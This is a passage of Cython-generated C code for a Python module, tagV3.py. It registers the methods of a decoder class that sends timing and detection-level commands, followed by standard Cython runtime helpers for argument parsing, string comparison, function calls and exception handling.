__Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":429 * # response: [STOP] (even if already stopped) * # * def setTime( self , cfg ): # <<<<<<<<<<<<<< * # Update decoder time of day - also sets running time if decoder * # started and config option "Running time to time of decoder" set */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_21setTime, 0, __pyx_n_s_decoder_setTime, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__57)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setTime, __pyx_t_2) < 0) __PYX_ERR(0, 429, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":436 * # response: none * # * def setDate( self, cfg ): # <<<<<<<<<<<<<< * # Update decoder date * # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_23setDate, 0, __pyx_n_s_decoder_setDate, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__59)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setDate, __pyx_t_2) < 0) __PYX_ERR(0, 436, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":443 * # response: none * # * def setSTALevel( self, cfg ): # <<<<<<<<<<<<<< * # Set detection level on STA channel * # command: ESC + 0x1e + [SETLEVEL] */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_25setSTALevel, 0, __pyx_n_s_decoder_setSTALevel, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__61)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setSTALevel, __pyx_t_2) < 0) __PYX_ERR(0, 443, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":449 * # response: none * # * def setBOXLevel( self, cfg ): # <<<<<<<<<<<<<< * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_27setBOXLevel, 0, __pyx_n_s_decoder_setBOXLevel, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__63)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_setBOXLevel, __pyx_t_2) < 0) __PYX_ERR(0, 449, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":455 * # response: none * # * def statBXX( self, cfg ): # <<<<<<<<<<<<<< * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_29statBXX, 0, __pyx_n_s_decoder_statBXX, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__65)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_statBXX, __pyx_t_2) < 0) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":461 * # response: (TBC) * # * def bXXLevel( self ): # <<<<<<<<<<<<<< * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_31bXXLevel, 0, __pyx_n_s_decoder_bXXLevel, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__67)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_bXXLevel, __pyx_t_2) < 0) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":467 * # response: none * * def sendCmd( self, command): # <<<<<<<<<<<<<< * print( command ) * */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_33sendCmd, 0, __pyx_n_s_decoder_sendCmd, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__69)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_sendCmd, __pyx_t_2) < 0) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":470 * print( command ) * * def receiveResponse( self, timeout = 0 ): # <<<<<<<<<<<<<< * print( timeout ) * return '' */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_5tagV3_7decoder_35receiveResponse, 0, __pyx_n_s_decoder_receiveResponse, NULL, __pyx_n_s_tagV3, __pyx_d, ((PyObject *)__pyx_codeobj__71)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_CyFunction_SetDefaultsTuple(__pyx_t_2, __pyx_tuple__72); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_receiveResponse, __pyx_t_2) < 0) __PYX_ERR(0, 470, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":341 * * * class decoder(): # <<<<<<<<<<<<<< * * task = dict([]) */ __pyx_t_2 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_decoder, __pyx_empty_tuple, __pyx_t_1, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_decoder, __pyx_t_2) < 0) __PYX_ERR(0, 341, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":1 * #!/usr/bin/python # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init tagV3", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init tagV3"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* SliceObject */ static CYTHON_INLINE PyObject* __Pyx_PyObject_GetSlice(PyObject* obj, Py_ssize_t cstart, Py_ssize_t cstop, PyObject** _py_start, PyObject** _py_stop, PyObject** _py_slice, int has_cstart, int has_cstop, CYTHON_UNUSED int wraparound) { #if CYTHON_USE_TYPE_SLOTS PyMappingMethods* mp; #if PY_MAJOR_VERSION < 3 PySequenceMethods* ms = Py_TYPE(obj)->tp_as_sequence; if (likely(ms && ms->sq_slice)) { if (!has_cstart) { if (_py_start && (*_py_start != Py_None)) { cstart = __Pyx_PyIndex_AsSsize_t(*_py_start); if ((cstart == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; } else cstart = 0; } if (!has_cstop) { if (_py_stop && (*_py_stop != Py_None)) { cstop = __Pyx_PyIndex_AsSsize_t(*_py_stop); if ((cstop == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; } else cstop = PY_SSIZE_T_MAX; } if (wraparound && unlikely((cstart < 0) | (cstop < 0)) && likely(ms->sq_length)) { Py_ssize_t l = ms->sq_length(obj); if (likely(l >= 0)) { if (cstop < 0) { cstop += l; if (cstop < 0) cstop = 0; } if (cstart < 0) { cstart += l; if (cstart < 0) cstart = 0; } } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) goto bad; PyErr_Clear(); } } return ms->sq_slice(obj, cstart, cstop); } #endif mp = Py_TYPE(obj)->tp_as_mapping; if (likely(mp && mp->mp_subscript)) #endif { PyObject* result; PyObject *py_slice, *py_start, *py_stop; if (_py_slice) { py_slice = *_py_slice; } else { PyObject* owned_start = NULL; PyObject* owned_stop = NULL; if (_py_start) { py_start = *_py_start; } else { if (has_cstart) { owned_start = py_start = PyInt_FromSsize_t(cstart); if (unlikely(!py_start)) goto bad; } else py_start = Py_None; } if (_py_stop) { py_stop = *_py_stop; } else { if (has_cstop) { owned_stop = py_stop = PyInt_FromSsize_t(cstop); if (unlikely(!py_stop)) { Py_XDECREF(owned_start); goto bad; } } else py_stop = Py_None; } py_slice = PySlice_New(py_start, py_stop, Py_None); Py_XDECREF(owned_start); Py_XDECREF(owned_stop); if (unlikely(!py_slice)) goto bad; } #if CYTHON_USE_TYPE_SLOTS result = mp->mp_subscript(obj, py_slice); #else result = PyObject_GetItem(obj, py_slice); #endif if (!_py_slice) { Py_DECREF(py_slice); } return result; } PyErr_Format(PyExc_TypeError, "'%.200s' object is unsliceable", Py_TYPE(obj)->tp_name); bad: return NULL; } /* BytesEquals */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else if (s1 == s2) { return (equals == Py_EQ); } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { const char *ps1, *ps2; Py_ssize_t length = PyBytes_GET_SIZE(s1); if (length != PyBytes_GET_SIZE(s2)) return (equals == Py_NE); ps1 = PyBytes_AS_STRING(s1); ps2 = PyBytes_AS_STRING(s2); if (ps1[0] != ps2[0]) { return (equals == Py_NE); } else if (length == 1) { return (equals == Py_EQ); } else { int result = memcmp(ps1, ps2, (size_t)length); return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { return (equals == Py_NE); } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { return (equals == Py_NE); } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } #endif } /* UnicodeEquals */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { #if CYTHON_COMPILING_IN_PYPY return PyObject_RichCompareBool(s1, s2, equals); #else #if PY_MAJOR_VERSION < 3 PyObject* owned_ref = NULL; #endif int s1_is_unicode, s2_is_unicode; if (s1 == s2) { goto return_eq; } s1_is_unicode = PyUnicode_CheckExact(s1); s2_is_unicode = PyUnicode_CheckExact(s2); #if PY_MAJOR_VERSION < 3 if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { owned_ref = PyUnicode_FromObject(s2); if (unlikely(!owned_ref)) return -1; s2 = owned_ref; s2_is_unicode = 1; } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { owned_ref = PyUnicode_FromObject(s1); if (unlikely(!owned_ref)) return -1; s1 = owned_ref; s1_is_unicode = 1; } else if (((!s2_is_unicode) & (!s1_is_unicode))) { return __Pyx_PyBytes_Equals(s1, s2, equals); } #endif if (s1_is_unicode & s2_is_unicode) { Py_ssize_t length; int kind; void *data1, *data2; if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) return -1; length = __Pyx_PyUnicode_GET_LENGTH(s1); if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { goto return_ne; } kind = __Pyx_PyUnicode_KIND(s1); if (kind != __Pyx_PyUnicode_KIND(s2)) { goto return_ne; } data1 = __Pyx_PyUnicode_DATA(s1); data2 = __Pyx_PyUnicode_DATA(s2); if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { goto return_ne; } else if (length == 1) { goto return_eq; } else { int result = memcmp(data1, data2, (size_t)(length * kind)); #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ) ? (result == 0) : (result != 0); } } else if ((s1 == Py_None) & s2_is_unicode) { goto return_ne; } else if ((s2 == Py_None) & s1_is_unicode) { goto return_ne; } else { int result; PyObject* py_result = PyObject_RichCompare(s1, s2, equals); if (!py_result) return -1; result = __Pyx_PyObject_IsTrue(py_result); Py_DECREF(py_result); return result; } return_eq: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_EQ); return_ne: #if PY_MAJOR_VERSION < 3 Py_XDECREF(owned_ref); #endif return (equals == Py_NE); #endif } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* GetItemIntByteArray */ static CYTHON_INLINE int __Pyx_GetItemInt_ByteArray_Fast(PyObject* string, Py_ssize_t i, int wraparound, int boundscheck) { Py_ssize_t length; if (wraparound | boundscheck) { length = PyByteArray_GET_SIZE(string); if (wraparound & unlikely(i < 0)) i += length; if ((!boundscheck) || likely((0 <= i) & (i < length))) { return (unsigned char) (PyByteArray_AS_STRING(string)[i]); } else { PyErr_SetString(PyExc_IndexError, "bytearray index out of range"); return -1; } } else { return (unsigned char) (PyByteArray_AS_STRING(string)[i]); } } /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; tstate->exc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* PyErrExceptionMatches */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) { PyObject *exc_type = tstate->curexc_type; if (exc_type == err) return 1; if (unlikely(!exc_type)) return 0; return PyErr_GivenExceptionMatches(exc_type, err); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) { #endif PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; *type = tmp_type; *value = tmp_value; *tb = 